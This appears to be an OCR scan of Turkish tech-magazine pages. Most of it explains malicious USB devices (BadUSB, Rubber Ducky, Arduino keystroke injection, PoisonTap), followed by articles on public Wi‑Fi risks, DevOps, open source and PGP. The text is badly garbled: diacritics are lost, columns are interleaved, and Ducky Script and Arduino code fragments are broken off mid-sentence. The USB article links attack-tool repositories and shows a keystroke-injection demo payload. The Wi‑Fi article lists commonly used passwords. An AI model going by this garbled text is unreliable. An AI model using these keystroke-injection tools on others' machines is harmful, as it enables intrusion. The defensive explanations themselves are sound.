Peki nasil?

Bu yol temel olarak donanima ait yazili-
min yamalanmasina dayanmaktadir. il-
gili bellek kullandigi yazilimin orijinal
yayimci tarafindan yayinlamis olup ol-
madigini kontrol etmediginden dolayi
ilk adim tamamlanmis oluyor. imza ta-
banl korumalari pek sevmesek ve gi-
venmesek de bu noktada eger
donanim benzeri bir korumaya sahipse
cihaz glivendedir diyebiliriz.



Eger boyle bir koruma yoksa disaridan
orijinal yazilima miidahale edilip yama-
lanmis farkh bir yazilim bellege yiikle-
nebilmektedir. Bellegin bir
kontrolciiye sahip oldugundan bahset-
mistik. Baglandigi porta minik elektrik
sinyalleri yollayan, veri alis-verisini sag-
layarak islerimizi gerceklestirmemizde
en temel ve bliyik roli oynayan bu
kontrolcl HID aktivitelerini gerceklesti-
rebilecek bir fonksiyona sahipse ikinci
adimda tamamlanmis oluyor.

USB-HID protokoll dedigimiz bu olay
insan araytziine olanak saglayan pro-
tokolilin ta kendisi. Bu sayede takili
olan cihazin yamalanmis yazilimi saye-
sinde Uzerinde kayith olan siral tus ko-
mutlarini hedef cihaza
yollayabilmektedir. Yapilan arastirma-
lar sonucunda bu islem i¢in uygun go-
rilen ve kullanilan kontrolctiniin
PHISON PS2251-03 oldugu saptanmis-
tir.

DerbyCon’'da yapilan sunum ve direkt
olarak onun icin hazirlanmis donanim,
yazilimi sayesinde sikca kullaniimakta.
Lakin bu amac icin kullanilacak her bel-
legin bu kontrolciiye sahip olmasina
gerek yok. Onceden bahsettigimiz kri-
terleri sagliyorsa ve bu isle yakindan il-
gilenen topluluklarin test listesinde
bulunuyorsa farkl bir bellek isinizi
gOrir. Bu yonteme dair detaylar 2014
yilinda diizenlenen Black Hat konferan-
sinda Karsten NOHL ve Jakob LELL ta-
rafindan anlatiimist.

Projeye dair detaylara https://openso-
urce.srlabs.de/projects/badusb bura-
dan ulasabilirsiniz.

Kendi kotiictl USB'mizi bu yol ile nasil
olusturabiliriz, diye soracak olursaniz,
2014 yilinda diizenlenen DerbyCon'da
deginilen projeye ait detaylara su repo
lizerinden ulasabilirsiniz. https://git-
hub.com/brandonlw/Psychson

2.YOL

Hobi-Elektronik furyasini yasadigimiz
bu yillarda neredeyse her giin yeni bir
programlanabilir kart ¢cikmakta ve giin
gectikce arz-talep iliskisine bagh olarak
oldukga kii¢clik boyutlarda kartlar Gire-
tilmektedir.

Cinli elektronik saticilari artik farkli bir
boyuta yikseldi. Kontrolcl boyutun-
dan daha kigctk ve o kontrolciyu ice-
ren kartlar satiyorlar!

Az sonra bahsedecegimiz adimlari ger-
ceklestirirken edineceginiz trlinleri ori-
jinal Ureticisinden satin almaya dikkat
edin. Bunun sebebi ise malum satis
noktalarindan aldiginiz kartlarin bah-

STRING notepad.exe
ENTER
DELAY 200

L

sedildigi kadar kiicik boyutta olma-
masi ve bazilarinin lehimlerinin kopuk
gelmesi. Hobi amacl programlanabilir
kartlar temel olarak mikrokontrolciliye
sahip ve bu mikrokontrolciiye bagh
pinlerden olusan devrelerdir.

Genel olarak Arduino dnyiikleyiciye
sahip olan kartlara timiyle yikleme
yapmayiz. Bize ayrilan bolime kodlari-
miz arayUz vasitasiyla yazilir ve kart is-
lemleri buradan yurutdr. Bu sayede risk
orani minimum seviyeye inmektedir. ilk
yolda bahsettigimiz yazilm giincelle-
melerini gerceklestirirken hatal konfi-
glrasyondan dolayi belleginiz ¢cépe
gidebilir.

Riskten kurtulmak giizel ancak bir de-
zavantajimiz var bu yolda. Bildiginiz
gibi ilk yolda bellegi modifiye etsek
dahi taktigimiz zaman depolama ala-
nina erisimimiz bulunmakta, ancak bu
yolda kullandigimiz kartlarda dogru-
dan gelen bir depolama alani yok ve
harici eklenen bir SD kart sadece prog-
ramlanabilir kartimiz tarafindan erisile-
bilir durumda oluyor.

Bu dezavantajin bedelini isteginiz dog-
rultusunda boyuttan feragat ederek
kurtulabilirsiniz ya da mini-hub adini
verdigimiz modulleri kullanarak komp-
like bir devre olusturabilirsiniz ki kul-
landigim kadariyla bu daha mantikli.
Simdi nasil islediklerinden bahsedelim.

Peki nasil?

ilk yolda kontrolciiniin HID aktivitele-
rini gerceklestirebilecek durumda ol-
masi gerektigini sdylemistik. Bu yolda
da ayni sekilde kontrolciimiiziin buna
izin vermesi gerekmekte.

Yazilimlarin yeniden yamalanmasi sa-
yesinde hazir ayarlarda HID aktivitesine
izin vermeyen kartlara bu aktiviteler
eklenebilmekte. Tabii bunun icin kart
sahibi bastan kartin ana yazilimini de-
gistirmesi gerekiyor. Ve risk canlari bu-
rada da caliyor.

[ simple ducky payload.txt - Notepad _ B .@@ﬂ
File Edit Format View Help

REM My First Payload -
WINDOWS r

DELAY 100

STRING Hello world! I'm in your PC!

L

Ufak bir hatada kartin ¢6p olma ihti-
mali yliksek. Diinya genelinde satisi ya-
pilan USB Rubber Ducky RD Amtel
AT32UC3B1256 mikro kontrolciiye
sahip. Burada kisaca Rubber Duck'ye
deginmek istiyorum. Kendisi Hak5 tara-
findan Uretilen ticari amach koticdl bir
USB.

Sahip oldugu topluluk, yazilm gilincel-
lemeleri ve destedi RubberDucky’i 6n
plana c¢ikaran 6zelliklerden. "Plastik
Ordek” anlamina gelen bu arkadasimiz
“vaklarsa cisim ordektir, tus yollar ise
HID'dir" gibi bir mottoya sahip.

Her vaklayanin 6rdek degil sahte olabi-
lecegini de vurgulamak istemis olabilir-
ler. Son yillarda adini “hacking” temali
bir dizi sayesinde duymus olabilirsiniz.
Eger bu yollar ile ugrasmak istemezse-
niz ve yeterli butceniz varsa kendisini
edinmeniz mantikli olabilir.

Depolama amaciyla kullanilan Phison

marka belleklerden Phison2303 kont-
rolcliye sahip cihazlar kotiiclil amaclar
dogrultusunda donanima ait yazilimi

yamalanarak kotlcul amaclar igin kul-
lanilabiliyor.

Ki bu donanimlar ilk bahsettigimiz yol
ile amacini gergeklestiriyorlar.

Akliniza RubberDucky’nin depolama
alanina erisim imkani sagladigi gele-
cektir. Bu erisim sirasinda kontrolcu
bulyuk rol oynamakta ve sahip oldugu
SD karti etkilesimde oldugu cihaza de-
polama alani seklinde tanitabilmekte.
Bu yolda ulasilabilirlik ve fiyat agisin-
dan cazip olan baska bir kontrolciiye
sahip kart kullandigimizdan maalesef
bu imkan yer almiyor.

Genel olarak ATMEGA 32U4 kontrol-
clye sahip kartlar bu is icin bigilmis
kaftan.

Sebebi ise kiiclik boyutlardaki devre

kartlarina implemente edilmis halleri
her yerden ulasilabilecek durumda ve

clzi bir fiyata edinilebilir.



ginclude <Keyboard.h>

vaoid

32U4 kontrolcliye sahip Arduino boot- ..

loader’t yiikli gelen bir programlana-

bilir kart HID aktivitelerine izin y

verdiginden tercih sebebi.

Arduino ile programlanabilen bu
kartlar Gzerinde kullanabilecegimiz
“Keyboard” sinifi ile kdtiicil senaryola-
rin gerceklestiriimesine izin vermekte.
Arduino icin gelistirilmis acik kaynak
kodlu koétliclil USB projesi olan BadUI-
NO’a buradan ulasabilirsiniz https://git-
hub.com/kaganisildak/baduino

Ag Giivenligi

Kotucul USB'ler ile agin tamami etki-
lenmese dahi istenen bir cihaz normal
iletisimin disina cikarilabilir. “DNS
Spoofing” adini verdigimiz yontem ile
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poard.releaseAll();

board.print(“example”); //¥Yaz

sard.press(KEY_LEFT_GUI);

oard.end{};

void loop() {

son kullanici ulasmak istedigi site di-
sinda farkli bir siteye yonlendirilir.

Temel olarak DNS sunucularinin degis-
tirilmesine dayanan bu yontem ile
yemleme olayi daha gergekgi bir sevi-
yeye ulasiyor.

Web Uzerinde gerceklestireceginiz ve
hassas bilgilerinizi paylastiginiz hiz-
metlerin taklit edilebilecegi zaten asi-
kar. Yillardir bundan dolayi ortaya ¢ikan
durumlari gériiyoruz. Bu ydontem saye-
sinde dikkatsizliginize bagli olmaksizin

oltaya takilabilirsiniz.
Ransomware

Son yillarda adini sikhkla duydugumuz
bu zararli tirleri genel olarak bir doki-
man yahut calistirilabilir dosyalar ile ci-
hazlarimizi enfekte etmekte. Yeni
varyasyonlari aginiza talepler gercek-
lestirerek islerini halletmekte.

Koticll USB'ler sayesinde de bahsetti-
gimiz bu zararh yazihmlar cihazlariniza
bulasabilmekte.




PoisonTAP

Bu proje Samy Kamkar tarafindan gelis-
tirilmis ve ag kartini taklit edebilen sal-
dirilar icerisinde gosterebilecegimiz
uygulamalara giizel bir 6rnek.

Raspberry Pi ve Node.Js'in bir arada ol-
dugu bu “zararsiz” projede minik ciha-
zimiz 6ncelikle USB portu lizerinden
kendini ag karti olarak tanitiyor, taklit
ediyor.

Etkilesime girdigi cihaz lzerindeki tim
trafigi kendi Gizerine alarak tabiri caizse
paketlerimizi caliyor.

Trafigimiz lizerinde soz sahibi olan bir
cihaz gerezlerimize ulasabilir, 6nbellek
zehirlemelerine maruz birakabilir. Ki-
saca ¢cok onem verdigimiz kisisel gu-
venligimizi ciddi sekilde sarsabilir.

Projeye dair ayrintili bilgi icin:
https://samy.pl/poisontap/

Daha fazlasi

Genel olarak klavye taklidi Gizerine olan ‘
Y mistik. Bu sayede yamalanmis bir yazi-  rini kandirmak amaciyla yazilim degis-

saldirnlardan bahsettik ve konuyu

bunun iizerine kaleme aldik. Ar):cak ilk ima s?hip.li)ellekk siz.in “sildiml”dedig"ljiniz ;c(oku§u Iyapllabilir, Ihatta BIOS’uInu;Iu

anlattigimiz yolda bazi belleklerin yazi- dosyalari si mek yerine depo ama ala- e.r.ndl a anlnfjfa bulunan dosyalar ile
ninda saklayabilir, glivenlik yazilimla- glincelleyebilir.

iminin yamalanabileceginden bahset-

Nasil Korunuruz

- USB Bellekler icin beyaz liste (white-list) olusturabilir ve sadece
tanimladiginiz USB belleklerin cihazinizda kullanilmasini saglayabilirsiniz.

- Kritik gorevlerde kullanilan bir cihaz ise USB portlarini tamamiyle deaktif
edebilirsiniz.

- imza tabanli koruma barindiran ve orijinal yayimciya ait yazilimlari kabul eden
USB bellekleri kullanmaya dikkat edebilirsiniz.

- Donanimlarinizin giincelleme fonksiyonlarini kapatabilirsiniz. (Haberiniz olma-
dan elinizde bulunan cihazlar diizenlenebilir. Buna karsi bu yontemi kullanmak en
saglikhisi)

- HID Klavye'ye ait siiriiciileri bilgisayarinizda deaktif edebilirsiniz. Bu sekilde taki-
lan USB Bellegin icerigine erisiminiz olur ancak USB Bellek cihaziniz tizerinde HID
aktivitelerini gerceklestiremez.

- Kurumunuzda bu saldirilara karsi 6nlem almak isterseniz giivenlik yazilimlarinin
EndPoint versiyonlarini edinebilirsiniz. Edinmeden 6nce kétiicul USB’lere karsi ko-
ruma secenekleri var mi bunu kontrol etmelisiniz.




Besipn ALTINOk
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Herkese acik olan kablosuz aglarda dik- o
katli olun: Herkesin erisimine acik or-
tamlardaki (kafe vb.) kablosuz aglari
kullanmamaya 6zen gosterin. Olur da
kullanirsaniz, bankacilik gibi 6zel islem-
lerinizi gerceklestirmeyin! Bu tarz is-
lemler icin telefonunuzun kablosuz
y internet paylasimi 6zelligini kullanabi-
lirsiniz.

@  Supheile yaklasin: Bitiin cihazlarin her
zaman risk altinda oldugunu unutmayin
ve baglandiginiz butiin kablosuz aglara
her zaman siiphe ile yaklasin. Bu sizin
tuzaklara diisme riskinizi azaltacaktir.



Kablosuz aglar sagladiklari avantajlar bakimindan kisa zamanda
yayginlasmistir. Kablosuz bir iletisim saglandigi icin, tasinabilir
cihazlarda bu sekilde rahatca kullanilmaya baslandi.

u sayede insanlar gittikleri

her yerde telefon, bilgisa-

yar ve tabletleri ile inter-

nete erisim saglayabilmek
icin kablosuz aglari kullanmaya basla-
dilar. Kullanimin bu derece yayginlas-
masi ile beraber insanlara hizmet
veren kafe gibi ortamlar da Ucretsiz in-
ternet hizmetine basladilar.

Bu demek oluyor ki artik saldirganlar
parola elde etme, sahte erisim noktasi
acma gibi saldir yontemlerine ihtiyag
duymadan hedefledikleri kullanicilar
ile ayni agda olmaya basladilar.

Tiirkiye

internet erisiminde kablosuz ag kulla-
nimi arttikca, kullanicilarin bu alandaki
etkinligi de ylkselmeye basladi. Bu-
nunla beraber yardimlasma platform-
lari artis gosterdi. Bu platformlar
aracihgiile insanlar, lokasyon bazli kab-
losuz ag parola bilgilerine erismeye
basladilar. Bu kapsamda, WiFi Map uy-
gulamasindan elde edilen veriler saye-

sinde, istanbul ve Ankara sehirlerinde
yapilan analizlerde; istanbul sehrinde
60.000 uzerinde kablosuz ag paylasim
noktasinin, Ankara sehrinde ise, 8650
Gzeri kablosuz ag parolasi paylasilan
alanlarin bilgisi bulunmaktadir.

Bu bilgiler icerisinde, mekanin lokas-
yonu, SSID (kablosuz ag ismi) bilgisi ve
parolasi gibi bilgiler yer almaktadir.

Var olan bu bilgiler icerisinden tim pa-
rola bilgileri de analiz edildiginde, in-
sanlarin koydugu ve kablosuz aglarda
kullandigi parola bilgilerinin gtivenli-
gine iliskin bilgiler elde edildi.

Bu durumda, istanbul sehrinde yer alan
60.000 uzeri WiFi bilgisi paylagim nok-
tasinda, 70.000 lzerinde parola bilgi-
sine rastlandi.

Bu parola bilgileri analiz edildiginde
asagidaki gibi sonuclar elde edildi. An-
kara sehrinde ise, var olan 8650 Uzeri
WiFi bilgisi paylasim noktasinda, 13210
Uizerinde parola bilgisine rastladim.

Bu parola bilgilerini analiz ettigimde de
asagidaki gibi sonuclar elde ettim.

Sehirlere gore kullanilan
parola istatistikleri

Yapilan analizlerde kablosuz aglarda
kullanilan ve insanlarin tercih ettigi pa-
rola bilgilerinin genellikle, takimlarinin
kurulus yillari, ardisik sayilar, markalari-
nin ve kurulus yillarinin kombinasyon-
lar1, belli bir mizaca sahip kelimeler
olduklari saptanmistir.

Bizi bekleyen tehlikeler

Peki bu olcuide, kablosuz ag paylasim
noktasinin oldugu bir ortam da kot
niyetli kisiler bize nasil bir zarar verebi-
lir ve neler elde edebilirler?

Bu sorunun cevabini, 3 farkh baslikta
inceleyebiliriz.

1) Trafigin izlenmesi
2) Trafigin yonlendirilmesi
3) Cihazlarin hacklenmesi

/

pler = Kigse! afanlar - Ev - Is Yerleri

istanbul - WiFi Paylasim Noktalar: - 60.000+

_

» Ogrenci merkezieri

n Yemek aanian Kafeler

Ankara - WiFi Paylagim Noktalari - 8650+

L

u Kisisel ganlar - Ev - Is Yerieri

w Ofrenci merkezieri = Yemek aanlan
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1) Trafigin izlenmesi
(MiTM- Ortadaki Adam Saldirisi)

Bu saldir tiriinde saldirgan internet
ortaminda gezinirken, keyfi veya her-
hangi bir islem icin girdigimiz web site-
lerine ve buralarda kullandigimiz,
bircok kritik bilgiye erisebilmektedir.
Ustelik bu tarz bir trafik dinleme islemi
icin saldirgan kisinin Ust diizey bir bil-
giye sahip olmasi gerekmemektedir.

2) Trafigin yonlendirilmesi
(Spoofing)

Bu saldir tirtinde saldirgan, bizi kendi
istedigi farkli iceriklere yonlendirebilir
ve bilgilerimizi ¢alabilir. Bu demek olu-
yor ki, bir kafede oturup facebook.com
adresine girmeye calistiginizda, saldir-
gan kisi sizi kendi hazirladigi sahte bir
web sayfasina yonlendirerek, burada
kullandiginiz hesabi ele gecirebilir.

3) Cihazlarin hacklenmesi

Bu saldir tirtinde saldirgan sizinle ayni
agda bulundugu zaman, kullandiginiz
cihazlardaki zaafiyeleri sémirerek tele-
fon, tablet ve bilgisayar gibi cihazlari-
niza erisebilir.

Bu erisim sonrasinda ses kaydi, go-
runtl kaydi, dosyalara erisim gibi bir-
cok korkutucu faaliyette
bulunabilmektedir. Bu saldirilar ara-
sinda en kotl durum olarak tanimlana-
bilir.

Biz bu konuda neler yapmaliyiz?

Kablosuz 6zelligini kapali tutun: Kullan-
madiginiz slirece cihazinizin kablosuz
ag ozelligini devre disi birakmalisiniz.

Glnkd cihazlariniz daha 6nce baglan-
dig1 kablosuz aglara baglanmak amaci
ile etrafa surekli bu aglarin isimlerinin

ISTANBUL
bilmiyorum
88888888
istanbul1453
123456789a
123123123
1020304050
19031903
20152015
0987654321
galatasaray
fenerbahce1907
fetih1453
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istanbul - Kablosuz Ag Parola
Bilgilerinin Analizi - 70.000+

Sadec

mgﬂim

» Sadece saylardan
= Sadece harflerden

» Sayi, harf - Gzel karakter

den

Ankara - Kablosuz Ag Parola
Bilgilerinin Analizi - 13210+

@

e

Say, harf- 6zel
karakterier
56%

de (SSID) yer aldigi bazi paketler gon-
derir. Bu da kotu niyetli kisilerin sizin
daha 6nce baglandiginiz aglari 6gren-
mesini saglar. Glvenligi saglamlastirin:
Evinize veya is yerinize ait kablosuz ag-
lara yonelik caydirici olmasi agisindan
asagidaki onlemleri alabilirsiniz:

zeynell925
daltonlar
veremiyoruz

38888888

kocatepel949

987654321
$32127400
ankara06
14531453
12345678
10203040
1122334455

» Sadecesayilardan
» Sadece harfierden

= Sayi, harf - dzel karakterier

- Kablosuz agin adini gizleyin
(SSID bilgisi)

- MAC filtrelemesi koyun.

- WEP sifreleme kullanmayin.

ANKARA



DevOps

\"

®bevops )

Miuriivet USLU
murvetuslu94@gmail.com

DevOps, iki onemli egilimin carpigsmasi sonucu ortaya ¢ikan yeni bir kavramdir.
Bu iki onemli egilim development (gelistirme) ve operation (operasyon) dir.

evops kavramina gereksi-

nim duyulmasindaki temel

sebep ise, bir hizmetin or-

taya ¢ctkmasinda tasarimin-

dan gelisim sirecine,
gelisiminden Gretim destegine kadar
tiim hizmet 6mri boyunca operasyon
ve gelistirme muhendisleri arasindaki
isbirliginin ne kadar 6nemli oldu-
gunun anlagiimasidir.

Oziinde, DevOps bir kiiltir,

bir hareket ve bir felsefedir.

Bu; zihniyet degisikligi, daha

iyi isbirligi ve daha siki enteg-
rasyonu vurgulayan gelisme

ve operasyonlar arasinda sag-
lam bir el sikismasidir. Gelis-
tirme ve operasyon ekiplerinin
daha verimli olmasina, daha
hizli yenilik yapmasina ayrica is-
letmelere ve musterilere daha
yuksek katma deger saglamak
icin cevik, suirekli yayin, otomas-
yon ve ¢ok daha fazlasini bir
araya getirir.

DevOps Tarihi
DevOps'un ortaya cikisi, teknoloji calis-
malarinin sistem tarafinda yenilik icin

artan bir ihtiyactan kaynaklanmaktadir.

DevOps distincesinin temelinde Cevik
Sistem YOonetimi (Agile System Admi-
nistration), Kurumsal Sistem Yonetimi
(Enterprise Systems Management) ve
Cevik Altyapi (Agile Infrastructure) gibi
onemli yaklagimlar bulunmaktadir.

Glnlmizde gelistirilen uygulamalarin

versiyon degistirme hizi oldukga art-

mistir. Son kullanicilarin memnuniyeti
arttirmak amaclh isteklerini karsilamak
icin uygulama icerisinde surekli bir ya-
zihm degisikligi yapilmakta ve gercek
zamanli olarak kullaniciya ulastirimaya
calisilmaktadir.

e

Dev ve Ops kavramlari beraber ¢calismi-
yorken istenilen ceviklik elde edilemi-
yor ve bu iki kavram kendi i¢lerinde
verimsizlikler yasiyordu.

DevOps tam anlamiyla bu gidisata bir
son vermek amaciyla ortaya ¢cikmis bir
yaklagsimdir. DevOps ¢ok yeni olmasa
da Glkemizde yeni yeni duyulup uygu-
lanmaya baslayan bir kavramdir. ilk
olarak Agile 2008 konferansinda De-
vOps terimi dile getirilmistir, ancak bu

terimin ortaya c¢ikis tarihi 2009 De-
vOpsDays etkinlikleri olarak nitelendi-
rilebilir. 2009 yilinda Belgika'dan
Patrick Debios ve ABD den Andrew
Shafer bir araya gelerek DevOps teri-
mini 6ne attilar.

Sonrasinda ise Patrick insanlari aydinla-
tan ilk DevOpsDays etkinligini Dhent'
de gerceklestirdi. Boylelikle herkes De-
vOps hakkinda konusmaya baslamis ve
hizli bir sekilde yayilmistir.

DevOps altyapisini benimsemis kuru-
luslar caprazislevli Giyelerden olusan
tek bir ekip ile bir uygulamayi, maksi-
mum hiz, islevsellik ve yenilikle teslim
edebilirler.

Ayrica bu altyapi, is gereksinimlerine
dayali sonuclar vererek daha iyi isbir-
ligi, otomasyon ve siireg iyilestirmesini
harekete gecirir.

BT'nin bir maliyet merkezi yerine isle
stratejik bir ortak olmasina yardimci
olur. Bu déniusiimin faydalarini kate-
gorize etmek gerekirse;

Teknik Avantajlar

® Versiyonlarda surekli gelisim

® Yonetimde karmasikligin azalmasi
® problemlere hizli ¢dziimlerin
getirilmesi

Teknik Avantajlar

® \esleki gelisim firsatlar
® Mutlu ve siirekli Giretken takimlar

® Takim i¢i sorumluluk bilinci
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is Avantajlan

@ Bildirim dongdlerini kisaltmak
@ Daha kararli calisma ortamlar
@ iletisimde gelisme ve verimli
@ is birligi

@ Alternatif yollar ve yenilikler
icin daha fazla vakit

DevOps Alt Yapisina
Faydali Olabilecek Araglar

DevOps mihendislerinin islerini ve-
rimli bir sekilde yapmalarini saglayarak
ayrica zamandan da tasarruf etmele-
rinde yardimci olacak bir ¢ok arag bu-
lunmaktadir.

Bunlar haricinde bazi islemleri otoma-
tize etmek icin DevOps mihendisleri
de bir takim gelistirmeler yapmaktadir-
lar. Kullanilan araclardan bir kagini asa-
gida gorebilirsiniz.

» Capture

¥ JIRA Service Desk

¢2Bamboo

DevOps Ne Degildir?

Bir uygulama degildir. Bir yazilim dili
degildir. Bir kurum degildir. Tek
boyutlu bir strateji degildir. Sadece
otomasyon demek degildir.

DevOps Yasam Dongiisii

® Ortam gerekliliklerinin
hazirlanmasi,

® Kod analizi yapilmasi ve bu
analizler sonucu ¢ikarimlarin
go6zden gegirilmesi,

® Uygulama icin ortam
(environment) kurulumlarinin
yapilmasi. (QA, Stagging,
Productions...)

@ Performans testlerinin
gerceklestirilmesi,

* Deploy to test

*Bamboo
K JIRA Software

QHipChat

Noi1vyogy1n©°

K JIRA Service Desk
X Confluence

@ Sirekli entegrasyonun saglanmasi,
@ Kullanilan uygulamalarin
versiyonlarini kontrol ederek
guincelliginin saglanmasi,

® Uygulamanin son kullaniciya
kesinti yaratmadan ulastirilmasi,

® Uygulamanin ve ayrica lizerinde
calistigi makine dahil cogu etkinin mo-
nitor edilmesi,

® Karsilasilan olaylari azaltmaya
cahsmak,

@ Uygulama kalitesini arttirmak,
@ Yiksek kullanilabilirligi korumak,

® Bu yasam dongusi icerisindeki cogu
islemi otomatize hale getirmek.

* Monitor
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requirements environments performance
* Create plans * Develop/updat * DEV, QA, UAT * Integration * Optimize
and tasks e code « Deploy to * Functional infrastructure
* Commit code production * Performance « Notify of issues
* Build the code o — * Security
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Ozgiir Yazilim ve
Acik Kaynak

Kodun Dusundurdukleri

Genellikle, teknolojik gelismeleri hayatimizi kolaylastiran ve bazi seyleri daha hizh
yapmamizi saglayan gelismeler olarak anlamak egilimindeyiz. Bu egilim teknolo-
jiyle kurdugumuz direk iliski diistiniildiigiinde aslinda'son derece anlasilir.

ncak, teknolojiyi bu sekilde

degerlendirmek, bir taraf-

tan da teknolojinin sosyal

degisime olan etkisini

(hatta ¢ogu zaman da be-
lirlenimini) yeterince gérememek
demek oluyor.

Bugiin kimse teknolojinin sosyal hayati
derinden degistirdigini inkar etmeye-
cektir ancak acaba bu etkinin ve degisi-
min gercekten farkinda miyiz?

Daha dogrusu bu degisimin yapisini
dogru sekilde gorebiliyor muyuz? Tek-
noloji, sosyal hayatimizin degisiminde
nerede ve nasil duruyor?

Yukarida da ifade etmeye gayret etti-
gim gibi, sosyal yapinin dinamiklerini
genellikle teknolojiden bagimsiz olarak
tanimhyor, teknolojiyi sosyal degisim-
lerin asli unsuru olarak degerlendirmi-
yoruz.

Hep yaptigimiz bazi seyleri, daha farkl,
daha kolay, daha hizli yapmamiza ola-

nak saglayan bir enstriiman olarak g6-
riyoruz teknolojiyi.

Oysa bugtn kullandigimiz ve her an
hayatimizin icine daha ¢ok dahil ettigi-
miz dijital teknolojiler kolayligin ya da
hizin ¢cok 6tesinde yeni bir seyler getiri-

yor: bir zihniyet donlisiimi ve buna
bagli yeni bir sosyallik. Bu konunun el-
bette dikkatle incelenmesi gereken pek
¢ok boyutu var ancak ben burada ko-
nunun sadece bir tek boyutunu deger-
lendirmeye calisacagim. Verinin, veri
islemenin ve bu verinin dolasiminin
daha 6nceki donemlere gore radikal bir
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Cenk ESINER
cenk.esiner@gmail.com

bicimde degistigi bir zaman diliminin
icindeyiz.

Yakin zamana kadar veri de, veriyi is-
leme glicli de, verinin dolasiminin yon-
lendirilmesi ve kontroll de belli
merkezlere aitti. Veri sadece bu mer-
kezlerden yayilabiliyordu.
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Ornekte oldugu gibi. Kritik olan nokta haber vermek gibi,
son derece merkezi ve tek yonli olan
bir etkinligin cok merkezli ve ¢cok yonli

hale gelmis olmasidir. Bu durum mese-

Haber vermek, belli bir yetkinlige, belli
bir uzmanliga ve elbette belli bir ser-
maye birikimine sahip ayricalikli kuru-
luslara ait ve sadece onlarin yapabildigi
bir etkinlikti. Buguin akill telefonu ve
bir sosyal medya hesabi olan herkes
haber verme etkinliginin, en azindan
olanak olarak, ¢cok glili bir parcasi
olma gticline sahip.

“Sivil habercilik”, “vatandas haberciligi”
gibi kavramsallas- tirmalarla habercilik
“siradan” insanlarin yapabildigi bir et-
kinlige dontismis durumda.

Bu donilisiim elbette sorgulanabilir, si-
radan insanlarin haber verme glic, ge-
leneksel medya ile karsilastirlabilir.
Haberin etkisi, kalitesi ve guvenilirli-
gine dair geleneksel medya ile siradan
insanin durumu arasindaki farklara dair
oldukca fazla sey sdylenebilir ancak kri-
tik olan nokta burasi degildir.
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leye dair konusulabilecek her tiir ayrin-
tidan bagimsiz,, hayatlarimizi ¢cok radi-
kal bir bicimde degistirme glicline
sahip ¢ok yeni bir seydir.
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Hassas Verilerin lletiminde/Dogrulanmasinda

Acik Anahtarh Sifreleme

Kurum i¢ci ve kurum disi iliskilerde ileti kaynaginin ve
tutarliiginin dogrulanmasi; iletilen verilerin giivenliginin

saglanmasi biiyiik 6nem arz etmektedir.

Ziyahan ALBENIZ

ziyahan@netsparker.com

urum ici ve kurum disi iliskilerde ileti kaynaginin

ve tutarliiginin dogrulanmasi; iletilen verilerin

guvenliginin saglanmasi buyik 6nem arz etmek-

tedir. Bu baglamda, bir sifreleme ve imzalama

standardi olarak Ac¢ik Anahtarli Sifreleme 6zel
olarak da GPG'yi taniyacak, adim adim Windows isletim sis-
temi icin kurulumunu ve Uretilen anahtar ciftlerinden, public
(genel) anahtari alicilarimizla paylasmayi gorecegiz.

Herkes tarafindan okunabilen ve anlasiimasi icin herhangi
bir cabaya gereksinim duyulmayan veri, kriptoloji terminolo-
jisinde plain text (diiz metin) olarak adlandirilmaktadir.

Bu verinin cesitli yontemlerle karistirilarak, okunaksiz hale
getirilmesi islemine ise sifreleme (encryption) adi verilmek-
tedir. Bu verinin hedef alici tarafindan tersine bir islem ile ye-
niden okunakl hale getirilmesi ise sifre coziimleme,
decryption olarak adlandiriimaktadir. Tarih boyunca hassas
verilerin iletiminde ¢esitli yollar denenmistir. Bunlardan ilk
bilineni literatirde Sezar Sifrelemesi olarak bilinen yontem-
dir.

Bu yontem iletideki her bir harfin, ticlincli ardisik deger ile
degistiriimesine dayanan sifreleme yontemidir. Sifrelemede
metni karistirmak icin kullanilan bu yénteme, (Her harfi, ken-
disinden baslayarak ticiincli siradaki harf ile degistir.) sifre
anahtari denilmektedir.

Geleneksel Sifreleme

Metnin sifrelenmesi ve sifrenin ¢ozlilmesi icin ortak bir
anahtarin kullanildigi ydntem, Kriptoloji Bilimi terminoloji-
sinde Geleneksel Sifreleme olarak anilmaktadir. Geleneksel
Sifreleme 'nin bu karakteristik 6zelliginde, hem goénderici

encryption

plaintext ciphertext plaintext

hem de alici ayni anahtari kullanarak metni sifrelemekte ve
sifrelenen metni orijinal metne dénistirmektedir:
Geleneksel Sifreleme , hizli bir yontem olsa da glinimiiz
diinyasinda, sifre anahtarinin paylasiimasi veya ele geciril-
mesi durumunda risk arz etmektedir.

Eger tek bir kisi, kendi dosyalarini ve verilerini sifrelemek icin
kullaniyor ve ayni sifreleme anahtarinin "glivensiz" kanallar
ile paylasiimasi s6z konusu degilse, kullanigh bir yéntem ola-
bilir.

Acik Anahtarli Sifreleme

Geleneksel Sifreleme 'nin sifreleme anahtarinin paylasiima-
sindaki problemine bir ¢c6ziim olarak 1975 yilinda A¢ik Anah-
tarh Sifreleme konsepti gelistirildi. Bu konsepte gore her bir
kullanici ya da taraf kendisine ait bir public (genel) ve bir de
private (6zel) anahtarlardan olusan bir cifte sahip olacak; ta-
raflar birbirleri ile yalnizca public (genel) anahtarlarini payla-
sacak idi. Public anahtar ile sifrelenen metnin ¢dzimlenmesi
ise ancak taraflarin birbirleri ile asla paylasmadigi ve gizli

public key

private key

encryption

plaintext ciphertext plaintext

tuttugu private (6zel) anahtarlar yolu ile yapilacakti. Agik
anahtarl sifrelemenin en bilinen 6rnekleri, Elgamal , RSA,
Diffie-Helman ve DSA'dIr.

PGP, OpenPGP ve GPG

1991 yilinda Amerikan senatosunda taslak olarak goristilen
terdr yasasi, tim sifrelemestandartlar ina devletin gozeti-
mine imkan veren bir arkakapr acilmasini 6neriyordu. Ka-
muoyunda tartisilan bu dneriye cok gecmeden tepkiler
yukselmeye basladi. Bu tepkilerden biri de 1991 yilinda Phi-
lip Zimmerman tarafindan geliistirilen agik anahtarli bir sif-
releme stratejisi sunan PGP idi.

PGP

Geleneksel sifrelemenin hizi ve acik anahtarli sifrelemenin
glivenlik ve kullanim kolayligini biinyesinde barindiran PGP,
melez bir sifreleme yontemidir. PGP bir metni sifrelerken
asagidaki yolu izler:

'??_-"{ s ——
=3 —bé”% —
Ly

plaintext is encrypted
session key is encrypted
with public key
cipheriext +
encrypted session key
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1) Metni sikistirir. (Bu sayede daha hizl bir aktarim ve gliven-
ligin giclendirilmesi saglanir.) Pek cok kripto analiz sifreli
metindeki patternleri analiz ederek, sifreyi ¢czdiklerinden,
PGP'nin ilk adimda yaptigi bu sikistirma islemi bu olasihigi
elimine etmektedir.

2) session-key olusturur, Bir T zamanina ait, benzersiz bir
